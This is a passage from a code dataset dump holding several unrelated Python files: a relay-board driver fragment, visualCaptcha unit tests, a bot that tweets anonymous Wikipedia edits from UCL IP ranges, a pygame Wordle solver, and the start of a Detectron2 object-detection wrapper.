RelayMappingMaskToNumber[mask]\n\t\t\t\t\tdelay = (param1 << 8) + param2\n\t\t\t\t\tfor subscriber in self.eventSubscriptions:\n\t\t\t\t\t\trelayEvent = event + '_' + chr(ord('0') + relay)\n\t\t\t\t\t\tif subscriber[\"event\"] == event or subscriber[\"event\"] == relayEvent:\n\t\t\t\t\t\t\tsubscriber[\"queue\"].add({\"event\" : subscriber[\"event\"], \"relay\" : relay, \"delay\" : delay})\n\t\t\t\t\t\t\t\n\t\t\t\tif event == this.k8090.BUTTON_STATUS:\n\t\t\t\t\tfor subscriber in self.eventSubscriptions:\n\t\t\t\t\t\tif subscriber[\"event\"] == event:\n\t\t\t\t\t\t\tsubscriber[\"queue\"].add({\"event\" : event, \"currentState\" : mask, \"pressedEvent\" : param1, \"releasedEvent\" : param2})\n\t\t\t\t\tallEvents = pressedEvent | releasedEvent\n\t\t\t\t\tfor relay in range(1,8):\n\t\t\t\t\t\trelayEvent = event + '_' + chr(ord('0') + relay)\n\t\t\t\t\t\trelayMask = RelayMappingNumberToMask[relay]\n\t\t\t\t\t\tif (allEvents & relayMask != 0) and subscriber[\"event\"] == relayEvent:\n\t\t\t\t\t\t\tsubscriber[\"queue\"].add({\"event\" : relayEvent, \"currentState\" : mask & relayMask, \"pressedEvent\" : param1 & relayMask, \"releasedEvent\" : param2 & relayMask})\n\t\t\t\t\t\t\t\n\t\t\t\telif event == this.k8090.RELAY_STATUS:\n\t\t\t\t\tfor subscriber in self.eventSubscriptions:\n\t\t\t\t\t\tif subscriber[\"event\"] == event:\n\t\t\t\t\t\t\tsubscriber[\"queue\"].add({\"event\" : event, \"previousState\" : mask, \"currentState\" : param1, \"relayTimerState\" : param2})\n\t\t\t\t\t\t\t\n\t\t\t\telif event == this.k8090.JUMPER_STATUS:\n\t\t\t\t\tfor subscriber in self.eventSubscriptions:\n\t\t\t\t\t\tif subscriber[\"event\"] == event:\n\t\t\t\t\t\t\tsubscriber[\"queue\"].add({\"event\" : event, \"set\" : True if param1 > 1 else False})\n\t\t\t\t\t\t\t\n\t\t\t\telif event == this.k8090.FIRMWARE_VERSION:\n\t\t\t\t\tfor subscriber in self.eventSubscriptions:\n\t\t\t\t\t\tif subscriber[\"event\"] == event:\n\t\t\t\t\t\t\tsubscriber[\"queue\"].add({\"event\" : event, \"version\" : \"%d.%02d\" % (param1, param2)})\n\t\t\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tthis.log.error(\"Unknown event received: %d (mask=%d, p1=%d, p2=%d)\" % (event, mask, param1, param2))\n\t\t\t\t\t\n\tdef subscribeEvent(self, event, queue, relay = None):\n\t\t\"\"\"register a queue to be filled with given event types; if relay parameter is given, only events for given relay (1..8) are reported\"\"\"\n\t\tif relay != None:\n\t\t\tevent = event + \"_\" + str(ord('0') + relay)\n\t\tthis.eventSubscriptions.add({\"event\" : event, \"queue\" : queue})\n","repo_name":"dirkj/pyvod","sub_path":"Services/k8090.py","file_name":"k8090.py","file_ext":"py","file_size_in_byte":6892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"86"} +{"seq_id":"73982222045","text":"import os\nimport unittest\nfrom visualcaptcha import *\n\nassetsFullPath = os.path.dirname(os.path.realpath(__file__)) + '/visualcaptcha/assets'\nvisualCaptcha = None\nsessionMock = {}\n\n\n# Runs before each test\ndef globalSetup():\n global visualCaptcha, sessionMock\n\n # Set a new \"session\" every time\n sessionMock = Session({})\n\n # Start visualCaptcha with that new session\n visualCaptcha = Captcha(sessionMock)\n\n\n# Helper function to check if an object exists in an array\ndef containsObject(theObject, array):\n for element in array:\n if theObject == element:\n return True\n\n return False\n\n\n# Test Setup exceptions\nclass SetupTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should return nothing if nothing is set\n def test_session_nothing_set(self):\n session = Session()\n self.assertIsNone(session.get('test'))\n\n # Should return something if something is set\n def test_session_set(self):\n session = Session()\n session.set('test', 'awesome')\n self.assertEqual(session.get('test'), 'awesome')\n\n # Should allow an array of dicts to be used instead of the default images for options\n def test_image_array(self):\n global sessionMock\n\n imageOptions = [{\n 'name': 'Test',\n 'path': 'test.png'\n }]\n\n visualCaptcha = Captcha(sessionMock, False, imageOptions)\n\n obtainedImages = visualCaptcha.getAllImageOptions()\n\n self.assertIsNotNone(obtainedImages)\n\n self.assertEqual(len(obtainedImages), 1)\n\n # Check the obtained image is the same we sent over\n self.assertIsNotNone(obtainedImages[0]['name'])\n self.assertIsNotNone(obtainedImages[0]['path'])\n\n self.assertEqual(obtainedImages[0]['name'], 'Test')\n self.assertEqual(obtainedImages[0]['path'], 'test.png')\n\n # Should allow an array of dicts to be used instead of the default audios for options\n def test_audio_array(self):\n global sessionMock\n\n audioOptions = [{\n 'path': 'test.mp3',\n 'value': 'test'\n }]\n\n visualCaptcha = Captcha(sessionMock, False, False, audioOptions)\n\n obtainedAudios = visualCaptcha.getAllAudioOptions()\n\n self.assertIsNotNone(obtainedAudios)\n\n self.assertEqual(len(obtainedAudios), 1)\n\n # Check the obtained audio is the same we sent over\n self.assertIsNotNone(obtainedAudios[0]['path'])\n self.assertIsNotNone(obtainedAudios[0]['value'])\n\n self.assertEqual(obtainedAudios[0]['path'], 'test.mp3')\n self.assertEqual(obtainedAudios[0]['value'], 'test')\n\n\n# Test getAllImageOptions\nclass ImageOptionsTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should return the list with all the possible image options\n def test_all_image_options(self):\n global visualCaptcha\n\n imageOptions = visualCaptcha.getAllImageOptions()\n\n self.assertIsNotNone(imageOptions)\n\n # We should have at least 20 image options, so probability plays a role\n self.assertTrue(len(imageOptions) > 19)\n\n # Images need to have a name\n self.assertIsNotNone(imageOptions[0]['name'])\n\n # Images need to have a path\n self.assertIsNotNone(imageOptions[0]['path'])\n\n # Should find all the files for all the images, and their retina versions, making sure they're not empty\n def test_find_all_images_and_retina(self):\n global visualCaptcha, assetsFullPath\n\n imageOptions = visualCaptcha.getAllImageOptions()\n\n for imageOption in imageOptions:\n currentImagePath = assetsFullPath + '/images/' + imageOption['path']\n\n # Check the image file exists and is a file\n self.assertTrue(os.path.isfile(currentImagePath))\n\n # Check the image file is not empty\n currentImageStat = os.stat(currentImagePath)\n self.assertTrue(currentImageStat.st_size > 0)\n\n # Check the retina image file exists and is a file\n currentImagePath = currentImagePath.replace('.png', '@2x.png')\n self.assertTrue(os.path.isfile(currentImagePath))\n\n # Check the retina image file is not empty\n currentImageStat = os.stat(currentImagePath)\n self.assertTrue(currentImageStat.st_size > 0)\n\n\n# Test getAllAudioOptions\nclass AudioOptionsTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should return the list with all the possible audio options\n def test_all_audio_options(self):\n global visualCaptcha\n\n audioOptions = visualCaptcha.getAllAudioOptions()\n\n self.assertIsNotNone(audioOptions)\n\n # We should have at least 20 audio options, so probability plays a role\n self.assertTrue(len(audioOptions) > 19)\n\n # Audios need to have a path\n self.assertIsNotNone(audioOptions[0]['path'])\n\n # Audios need to have a value\n self.assertIsNotNone(audioOptions[0]['value'])\n\n # Should find all the files for all the audios, and their .ogg versions, making sure they're not empty\n def test_find_all_audios_and_ogg(self):\n global visualCaptcha, assetsFullPath\n\n audioOptions = visualCaptcha.getAllAudioOptions()\n\n for audioOption in audioOptions:\n currentAudioPath = assetsFullPath + '/audios/' + audioOption['path']\n\n # Check the audio file exists and is a file\n self.assertTrue(os.path.isfile(currentAudioPath))\n\n # Check the audio file is not empty\n currentAudioStat = os.stat(currentAudioPath)\n self.assertTrue(currentAudioStat.st_size > 0)\n\n # Check the ogg file exists and is a file\n currentAudioPath = currentAudioPath.replace('.mp3', '.ogg')\n self.assertTrue(os.path.isfile(currentAudioPath))\n\n # Check the ogg audio file is not empty\n currentAudioStat = os.stat(currentAudioPath)\n self.assertTrue(currentAudioStat.st_size > 0)\n\n\n# Test generate\nclass GenerateTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should generate a new valid image option each time it's called\n def test_generate_new_image(self):\n global visualCaptcha\n\n # Generate first values\n visualCaptcha.generate()\n\n firstValue = visualCaptcha.getValidImageOption()['value']\n\n # Generate second values\n visualCaptcha.generate()\n\n secondValue = visualCaptcha.getValidImageOption()['value']\n\n # Check both values don't match\n self.assertNotEqual(firstValue, secondValue)\n\n # Should generate a new valid audio option each time it's called\n def test_generate_new_audio(self):\n global visualCaptcha\n\n # Generate first values\n visualCaptcha.generate()\n\n firstValue = visualCaptcha.getValidAudioOption()['value']\n\n # Generate second values\n visualCaptcha.generate()\n\n secondValue = visualCaptcha.getValidAudioOption()['value']\n\n # Check both values don't match\n self.assertNotEqual(firstValue, secondValue)\n\n # Should generate new field names each time it's called\n def test_generate_new_field_name(self):\n global visualCaptcha\n\n # Generate first values\n visualCaptcha.generate()\n\n firstImageValue = visualCaptcha.getFrontendData()['imageFieldName']\n firstAudioValue = visualCaptcha.getFrontendData()['audioFieldName']\n\n # Generate second values\n visualCaptcha.generate()\n\n secondImageValue = visualCaptcha.getFrontendData()['imageFieldName']\n secondAudioValue = visualCaptcha.getFrontendData()['audioFieldName']\n\n # Check both values don't match\n self.assertNotEqual(firstImageValue, secondImageValue)\n self.assertNotEqual(firstAudioValue, secondAudioValue)\n\n # Should generate frontend data\n def test_generate_frontend_data(self):\n global visualCaptcha\n\n # Generate values\n visualCaptcha.generate()\n\n frontendData = visualCaptcha.getFrontendData()\n\n self.assertIsNotNone(frontendData['values'])\n self.assertIsNotNone(frontendData['imageName'])\n self.assertIsNotNone(frontendData['imageFieldName'])\n self.assertIsNotNone(frontendData['audioFieldName'])\n\n self.assertIsInstance(frontendData['values'], list)\n self.assertTrue(len(frontendData['imageName']) > 0)\n self.assertTrue(len(frontendData['imageFieldName']) > 0)\n self.assertTrue(len(frontendData['audioFieldName']) > 0)\n\n # Should generate new frontend data each time it's called\n def test_generate_new_frontend_data(self):\n global visualCaptcha\n\n # Generate first values\n visualCaptcha.generate()\n\n firstValue = visualCaptcha.getFrontendData()\n\n # Generate second values\n visualCaptcha.generate()\n\n secondValue = visualCaptcha.getFrontendData()\n\n # Check both values don't match\n self.assertNotEqual(firstValue, secondValue)\n\n\n# Test validateImage\nclass ValidateImageTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should return true if the chosen image option is the valid one\n def test_return_true_image(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n optionValue = visualCaptcha.getValidImageOption()['value']\n\n # Validate, sending the right optionValue, expecting a \"true\" to be returned\n self.assertTrue(visualCaptcha.validateImage(optionValue))\n\n # Should return false if the chosen image option is not the valid one\n def test_return_false_image(self):\n global visualCaptcha\n\n # Will never match the optionValue\n optionValue = random.random()\n\n # Generate option values\n visualCaptcha.generate()\n\n # Validate, sending the right optionValue, expecting a \"false\" to be returned\n self.assertFalse(visualCaptcha.validateImage(optionValue))\n\n\n# Test validateAudio\nclass ValidateAudioTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should return true if the chosen audio option is the valid one\n def test_return_true_audio(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n optionValue = visualCaptcha.getValidAudioOption()['value']\n\n # Validate, sending the right optionValue, expecting a \"true\" to be returned\n self.assertTrue(visualCaptcha.validateAudio(optionValue))\n\n # Should return false if the chosen audio option is not the valid one\n def test_return_false_audio(self):\n global visualCaptcha\n\n # Will never match the optionValue\n optionValue = random.random()\n\n # Generate option values\n visualCaptcha.generate()\n\n # Validate, sending the right optionValue, expecting a \"false\" to be returned\n self.assertFalse(visualCaptcha.validateAudio(optionValue))\n\n\n# Test getImageOptions\nclass GetImageOptionsTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should return a list with possible image options and the valid image option included\n def test_return_list_images(self):\n global visualCaptcha\n\n foundValidOptions = 0\n numberOfOptions = 4\n\n # Generate option values (4)\n visualCaptcha.generate(numberOfOptions)\n\n # Get the options list\n options = visualCaptcha.getImageOptions()\n\n optionsLength = len(options)\n\n self.assertEqual(optionsLength, numberOfOptions)\n\n # Loop through all options, and count each time an image was successfully validated\n for option in options:\n validationResult = visualCaptcha.validateImage(option['value'])\n\n if (validationResult):\n foundValidOptions += 1\n\n # We should only find 1 valid option\n self.assertEqual(foundValidOptions, 1)\n\n # Should return a list with all possible image options different\n def test_return_unique_list(self):\n global visualCaptcha\n\n foundSimilarOptions = 0\n numberOfOptions = 4\n\n # Generate option values (4)\n visualCaptcha.generate(numberOfOptions)\n\n # Get the options list\n options = visualCaptcha.getImageOptions()\n\n optionsLength = len(options)\n\n self.assertEqual(optionsLength, numberOfOptions)\n\n # Loop through all options, and count each time a duplicate value exists in the array\n for i in range(0, optionsLength, 1):\n for j in range(0, optionsLength, 1):\n if (i != j and options[i]['value'] == options[j]['value']):\n foundSimilarOptions += 1\n\n # We should find no equal options\n self.assertEqual(foundSimilarOptions, 0)\n\n # Should return the same current image options list, if we don't generate a new valid value\n def test_return_same_list(self):\n global visualCaptcha\n\n numberOfOptions = 4\n\n # Generate option values (4)\n visualCaptcha.generate(numberOfOptions)\n\n # Get the first options list\n firstOptions = visualCaptcha.getImageOptions()\n\n # Get the second options list\n secondOptions = visualCaptcha.getImageOptions()\n\n # Get the third options list\n thirdOptions = visualCaptcha.getImageOptions()\n\n # Loop through all options, and test each time that the same object exists in both the other arrays\n for i in range(0, numberOfOptions, 1):\n # Check if all the values match\n self.assertEqual(firstOptions[i]['value'], secondOptions[i]['value'])\n self.assertEqual(firstOptions[i]['value'], thirdOptions[i]['value'])\n\n\n# Test getAudioOption\nclass GetAudioOptionTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should return the current audio option, which should be the valid audio option\n def test_return_valid_audio(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n # Get the option\n option = visualCaptcha.getAudioOption()\n\n # Check if the audio was successfully validated\n self.assertTrue(visualCaptcha.validateAudio(option['value']))\n\n # Should return the same audio option, if we don't generate a new valid value\n def test_return_same_audio(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n # Get the first option\n firstOption = visualCaptcha.getAudioOption()\n\n # Get the second option\n secondOption = visualCaptcha.getAudioOption()\n\n # Get the third option\n thirdOption = visualCaptcha.getAudioOption()\n\n # Check if all the values match\n self.assertEqual(firstOption['value'], secondOption['value'])\n self.assertEqual(firstOption['value'], thirdOption['value'])\n\n\n# Test streamImage\nclass StreamImageTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should find and stream an image file\n def test_stream_image(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n # Stream the image\n fileReturn = visualCaptcha.streamImage({}, 0)\n\n # Check if the image was successfully streamed\n self.assertTrue(fileReturn)\n\n # Should find and stream a retina image file\n def test_stream_retina(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n # Stream the retina image\n fileReturn = visualCaptcha.streamImage({}, 0, True)\n\n # Check if the image was successfully streamed\n self.assertTrue(fileReturn)\n\n # Should fail to find an image file\n def test_stream_undefined_index(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n # Stream the image\n fileReturn = visualCaptcha.streamImage({}, 100)\n\n # Check if the image failed streaming\n self.assertFalse(fileReturn)\n\n\n# Test streamAudio\nclass StreamAudioTest(unittest.TestCase):\n\n # Runs before each test in this group\n def setUp(self):\n globalSetup()\n\n # Should find and stream an audio file - mp3\n def test_stream_mp3(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n # Stream the mp3 audio file\n fileReturn = visualCaptcha.streamAudio({})\n\n # Check if the audio file was successfully streamed\n self.assertTrue(fileReturn)\n\n # Should find and stream an audio file - ogg\n def test_stream_ogg(self):\n global visualCaptcha\n\n # Generate option values\n visualCaptcha.generate()\n\n # Stream the ogg audio file\n fileReturn = visualCaptcha.streamAudio({}, 'ogg')\n\n # Check if the audio file was successfully streamed\n self.assertTrue(fileReturn)\n\n # Should fail to find an audio file\n def test_stream_ungenerated_audio(self):\n global visualCaptcha\n\n # Stream the audio file (we didn't generate options, so it should fail)\n fileReturn = visualCaptcha.streamAudio({})\n\n # Check if the audio failed streaming\n self.assertFalse(fileReturn)\n\nif __name__ == '__main__':\n print(\"Running unit tests\")\n unittest.main()\n","repo_name":"desirepath41/visualCaptcha-python","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":17800,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"86"} +{"seq_id":"35116392045","text":"#!/usr/bin/python\nfrom sseclient import SSEClient as EventSource\nimport json\nimport os\nimport queue\nimport re\nimport threading\nimport tweepy\n\nclass TweetThread(threading.Thread):\n def __init__(self, queue):\n #Setup from:\n #https://github.com/eeevanbbb/UniversityEdits/blob/master/tweet.py\n try:\n consumer_key = os.environ[\"TWITTER_CONSUMER_KEY\"]\n consumer_secret = os.environ[\"TWITTER_CONSUMER_SECRET\"]\n access_token = os.environ[\"TWITTER_ACCESS_TOKEN\"]\n access_secret = os.environ[\"TWITTER_ACCESS_SECRET\"]\n except KeyError:\n print(\"Error: Twitter API keys missing from environment\")\n exit(1)\n else:\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_secret)\n self.api = tweepy.API(auth)\n\n threading.Thread.__init__(self)\n self.queue = queue\n def run(self):\n while True:\n tweet = self.queue.get()\n try:\n revision = tweet['revision']\n base_url = tweet['server_url']\n old = revision['old']\n new = revision['new']\n title = tweet['title']\n except KeyError:\n print(\"key error:\")\n print(tweet.keys())\n else:\n edit_url = f\"{base_url}/w/index.php?&diff={new}&oldid={old}\"\n tweet = f\"Someone from UCL anonymously edited '{title}': {edit_url}\"\n try:\n self.api.update_status(tweet)\n print(f\"tweeted: '{tweet}'\")\n except:\n print(f\"failed to tweet: '{tweet}'\")\n self.queue.task_done()\n\nclass ListenerThread(threading.Thread):\n def __init__(self, out_queue):\n #UCL wifi IP Adresses\n #https://www.ucl.ac.uk/isd/services/get-connected/wired-networks/about-wired-networks/ucl-internet-protocol-ip-addresses\n #https://www.ucl.ac.uk/isd/services/get-connected/wi-fi-wireless-networks#\n re_list = [\n r\"28\\.40\\.0\\.\\d{1,2}\",\n r\"128\\.41\\.0\\.\\d{1,2}\",\n r\"144\\.82\\.0\\.\\d{1,2}\",\n r\"193\\.60\\.(221|224)\\.\\d{1,2}\",\n r\"212\\.219\\.75\\.\\d{1,2}\",\n r\"144\\.82\\.[89]\\.\\d{1,3}\"\n ]\n self.re_list = [re.compile(string) for string in re_list]\n\n self.url = 'https://stream.wikimedia.org/v2/stream/recentchange'\n\n threading.Thread.__init__(self)\n self.out_queue = out_queue\n\n def run(self):\n #SSE example code from:\n #https://github.com/ebraminio/aiosseclient\n for event in EventSource(self.url):\n if event.event == 'message':\n try:\n change = json.loads(event.data)\n except ValueError:\n print(\"SSE client error: Can't make json\")\n else:\n if not change['bot'] and change['type'] == \"edit\":\n if any(regex.match(change['user']) for regex in self.re_list):\n self.out_queue.put(change)\n\ndef main():\n print('started up')\n tweets_queue = queue.Queue()\n\n listener_th = ListenerThread(tweets_queue)\n listener_th.setDaemon(True)\n listener_th.start()\n\n tweet_th = TweetThread(tweets_queue)\n tweet_th.setDaemon(True)\n tweet_th.start()\n\n listener_th.join()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"beniaminogreen/ucl_wiki_edits","sub_path":"edits_tracker.py","file_name":"edits_tracker.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"39911682880","text":"import pygame\r\nfrom utility import *\r\nfrom random import choice\r\nfrom constants import * \r\nfrom solver import solver\r\n\r\npygame.init()\r\npygame.font.init()\r\npygame.display.set_caption(\"WORDLE SOLVER\")\r\n\r\n#----------------------------\r\n\r\nDICT = slice_word(load_dict(\"words.txt\"))\r\nGUESSES = []\r\nFEEDBACK = []\r\nINDEX = 0\r\nGAME_OVER = False\r\nANSWER = choice(slice_word(load_dict('words.txt')))\r\nUNGUESSED = ALPHABET\r\nINPUT = choice(slice_word(load_dict('words.txt')))\r\n\r\nFONT = pygame.font.SysFont(\"free sans bold\", SQ_SIZE)\r\nFONT_SMALL = pygame.font.SysFont(\"free sans bold\", SQ_SIZE//2)\r\n\r\nagent = solver(INPUT,DICT)\r\n#----------------------------\r\ndef draw_unguessed_letters():\r\n letters = FONT_SMALL.render(UNGUESSED,False,GREY)\r\n surface = letters.get_rect(center = (WIDTH//2,TOP_MARGIN//2))\r\n screen.blit(letters,surface)\r\n\r\ndef determine_unguessed_letters(guesses):\r\n guessed_letters = ''.join(guesses)\r\n unguessed_letters = \"\"\r\n for letter in ALPHABET:\r\n if letter not in guessed_letters:\r\n unguessed_letters = unguessed_letters + letter\r\n return unguessed_letters \r\n\r\ndef determine_color(guess,position):\r\n letter = guess[position]\r\n if letter == ANSWER[position]:\r\n return GREEN\r\n elif letter in ANSWER:\r\n #We have to check for a specific occurence.\r\n #for example if ANSWER = JELLO, and we enter LLLLL, we expect GRAY-GRAY-GREEN-GREEN-GREY \r\n n_target = ANSWER.count(letter)\r\n n_correct = 0\r\n n_occurence = 0\r\n for i in range(5):\r\n if guess[i] == letter:\r\n if i <= position:\r\n n_occurence +=1\r\n if letter == ANSWER[i]:\r\n n_correct +=1\r\n if n_target - n_correct - n_occurence >=0:\r\n return YELLOW\r\n return GREY\r\n\r\ndef draw_squares(y_begin,x_begin,sq_sz,GAME_OVER):\r\n y = y_begin +10\r\n for i in range(NUMBER_OF_GUESSES):\r\n x = x_begin\r\n for j in range(5):\r\n #square\r\n square = pygame.Rect(x,y,sq_sz,sq_sz)\r\n pygame.draw.rect(screen,GREY,square,width=2,border_radius=5)\r\n\r\n #letters that have been guessed\r\n if i < len(GUESSES):\r\n color = determine_color(GUESSES[i],j)\r\n pygame.draw.rect(screen,color,square,border_radius=5)\r\n letter = FONT.render(GUESSES[i][j], False,BLACK)\r\n surface = letter.get_rect(center = (x+sq_sz//2,y+sq_sz//2))\r\n screen.blit(letter,surface)\r\n\r\n #user text input(next guess)\r\n if i == len(GUESSES) and j < len(agent.guess):\r\n letter = FONT.render(agent.guess[j],False,GREY)\r\n surface = letter.get_rect(center = (x+sq_sz//2,y+sq_sz//2))\r\n screen.blit(letter,surface)\r\n\r\n x += sq_sz + MARGIN\r\n y += sq_sz + MARGIN\r\n\r\n #SHOW the correct answer if you lose\r\n if len(GUESSES) ==6 and GUESSES[5] != ANSWER:\r\n GAME_OVER = True\r\n letters = FONT.render(ANSWER,False,CERISE)\r\n surface = letters.get_rect(center = (WIDTH//2, HEIGHT - BOTTOM_MARGIN//2 - MARGIN))\r\n screen.blit(letters,surface)\r\n #CONGRATS USER\r\n elif GAME_OVER == True and len(GUESSES) <=6:\r\n letters = FONT.render(\"CONGRATS\",False,CERISE)\r\n surface = letters.get_rect(center = (WIDTH//2, HEIGHT - BOTTOM_MARGIN//2 - MARGIN))\r\n screen.blit(letters,surface)\r\n\r\n#create screen\r\nscreen = pygame.display.set_mode((WIDTH,HEIGHT))\r\n\r\n#animation loop\r\nANIMATING = True\r\nwhile ANIMATING:\r\n\r\n #background\r\n screen.fill(\"white\")\r\n draw_unguessed_letters()\r\n draw_squares(TOP_MARGIN,SIDE_MARGIN,SQ_SIZE,GAME_OVER)\r\n \r\n\r\n #update the screen\r\n pygame.display.flip()\r\n\r\n #track user interactions\r\n for event in pygame.event.get():\r\n\r\n #closing the window\r\n if event.type == pygame.QUIT:\r\n ANIMATING = False\r\n #press some keys\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_ESCAPE:\r\n ANIMATING = False\r\n \r\n #return key to submit a guess\r\n elif event.key == pygame.K_RETURN:\r\n GUESSES.append(agent.guess)\r\n for j in range (5):\r\n color = determine_color(GUESSES[INDEX],j)\r\n FEEDBACK.append(color)\r\n INDEX +=1\r\n UNGUESSED = determine_unguessed_letters(GUESSES)\r\n if agent.guess == ANSWER:\r\n GAME_OVER = True\r\n agent.guess = \"\"\r\n break\r\n else:\r\n GAME_OVER = False\r\n print(\"Word to find:\",ANSWER)\r\n vector = agent.get_frequency()\r\n agent.remove_words(FEEDBACK,vector)\r\n print(agent.guess_list)\r\n agent.choose_word()\r\n print('AI Guess is:',agent.guess)\r\n FEEDBACK = []\r\n\r\n \r\n","repo_name":"Renwarren/Wordle-AI-Agent","sub_path":"Wordle/wordle_gui.py","file_name":"wordle_gui.py","file_ext":"py","file_size_in_byte":4996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"86"} +{"seq_id":"72352686044","text":"from detectron2.utils.logger import setup_logger\nsetup_logger()\n\n# import some common libraries\nimport numpy as np\nimport os\nimport glob\nimport cv2\nfrom PIL import Image\nimport logging\nimport matplotlib.pyplot as plt\nfrom trainer import Trainer\nimport argparse\nfrom utils import *\nimport plotter\nfrom tqdm import tqdm\nfrom collections import OrderedDict\nimport sys\nfrom evaluator import CustomCOCOEvaluator\nfrom dataloader import DataLoader\nfrom predictor import Predictor\n\n# import detectron2 utilities\nfrom detectron2 import model_zoo\nfrom detectron2.utils.visualizer import Visualizer, ColorMode\nfrom detectron2.data import MetadataCatalog, build_detection_test_loader\nimport detectron2.data.datasets\nfrom detectron2.checkpoint import DetectionCheckpointer\nfrom detectron2.utils.visualizer import ColorMode\nfrom detectron2.engine import DefaultPredictor\nfrom detectron2.evaluation import COCOEvaluator, inference_on_dataset, print_csv_format\nfrom detectron2.modeling import build_model\n\n\"\"\"\nSee README.md for running instructions. Easiest to run with main.py\n\"\"\"\n\nclass CNN():\n \"\"\"\n Implementation of Detectron2's Faster-RCNN for oil and gas infrastructure detection in the Permian Basin\n \"\"\"\n dataloader = DataLoader\n predictor = Predictor\n evaluator = CustomCOCOEvaluator\n\n @initializer # wrapper that unpacks each kwarg into self. (from utils)\n def __init__(self, dataloader=None):\n # instantiate dataloader\n self.dl = dataloader or self.dataloader()\n\n # confusion matrix\n self._cm = None\n\n\n \"\"\"\n getter methods\n \"\"\"\n def get_dataset(self):\n \"\"\"\n see DataLoader get_dataset\n \"\"\"\n return self.dl.get_dataset()\n\n def get_labels(self):\n \"\"\"\n see DataLoader get_labels\n \"\"\"\n return self.dl.get_labels()\n\n def get_splits(self):\n \"\"\"\n see DataLoader get_splits\n \"\"\"\n return self.dl.get_splits()\n\n def get_cfg(self):\n \"\"\"\n see DataLoader get_cfg\n \"\"\"\n return self.dl.get_cfg()\n\n def get_confusion_matrix(self):\n \"\"\"\n get confusion matrix. If run_confusion_matrix has not been run, will throw a MissingDataError.\n \"\"\"\n if self._cm == None:\n raise MissingDataError(src=\"confusion matrix\", message=\"Confusion matrix has not been run, call 'run_confusion matrix()' to get: \")\n return self._cm\n\n def setup_model(self):\n \"\"\"\n wrapper for DataLoader's load_all_data and register_datasets. Once run, model will be equipped for all evaluation, training and inference\n\n returns True if successful\n \"\"\"\n # load all data with dataloader\n logging.log(logging.INFO, \"Loading in annotations, config with DataLoader\")\n self.dl.load_all_data()\n\n # register datasets\n self.dl.register_datasets()\n\n return True\n\n \"\"\"\n model related methods (training, testing)\n \"\"\"\n def train_model(self, plot=False, resume=True):\n \"\"\"\n Train model on parameters in cfg.yaml\n\n If plot, plot validation and total loss at end of run\n\n If resume, resume training from given model weights\n \"\"\"\n trainer = Trainer(self.dl._cfg)\n trainer.resume_or_load(resume=resume)\n trainer.train()\n\n if plot:\n plotter.plot_val_with_total_loss(self.dl._cfg.OUTPUT_DIR)\n\n def view_random_sample(self, n, stage, predict=False, threshold=None):\n \"\"\"\n View a random sample of a dataset stage (train, test, valid) to confirm annotations were laoded properly\n\n n: int, number of images to view\n stage: which group to view from (train, test, valid)\n predict: make a prediction on the randomly selected images\n threshold: prediction threshold, will overwrite default\n \"\"\"\n\n if threshold:\n self.dl._cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = threshold # set a custom testing threshold\n\n metadata = MetadataCatalog.get(self.dl.dataname + stage)\n\n # for random sample\n for d in np.random.choice(self.dl._splits_data[stage], size=n, replace=False):\n # show data\n self.view_data_entry(d, predict=predict, metadata=metadata)\n\n\n def view_data_entry(self, d, predict=False, metadata=None):\n \"\"\"\n Mostly internal method for view_random_sample\n\n d: dict from self._data\n predict: bool, if true will use loaded network to predict on image\n metadata: if you want the bounding boxes to have labels, you must pass one of the loaded metadatas (MetadataCatalog.get(dataname + split name, any split should work)\n\n Take an entry from list self._data and view it and visualize the bounding boxes\n \"\"\"\n # show image\n img = cv2.imread(d[\"file_name\"])\n v_d = Visualizer(img[:, :, ::-1], scale=0.5, metadata=metadata, instance_mode=ColorMode.SEGMENTATION)\n out = v_d.draw_dataset_dict(d)\n cv2.imshow(d[\"file_name\"]+ \" truth\", out.get_image())\n\n # do prediction if asked\n if predict:\n self.predict_image(img, metadata=metadata, fname=d[\"file_name\"])\n\n print(\"Press any key to clear windows\")\n cv2.waitKey(0)\n cv2.destroyWindow(d[\"file_name\"] + \" predicted\")\n cv2.destroyWindow(d[\"file_name\"] + \" truth\")\n\n def predict_image(self, img, view=True, fname=\"\", threshold=.25, verbose=False, crop=False, cent=None, title=\"\"):\n \"\"\"\n Make prediction on image with CNN\n\n img: return of cv2.imread (np.array), loaded in image to predict on\n view: bool, visualize prediction\n fname: str, optional, for image title and printing\n verbose: log number of predictions\n threshold: float 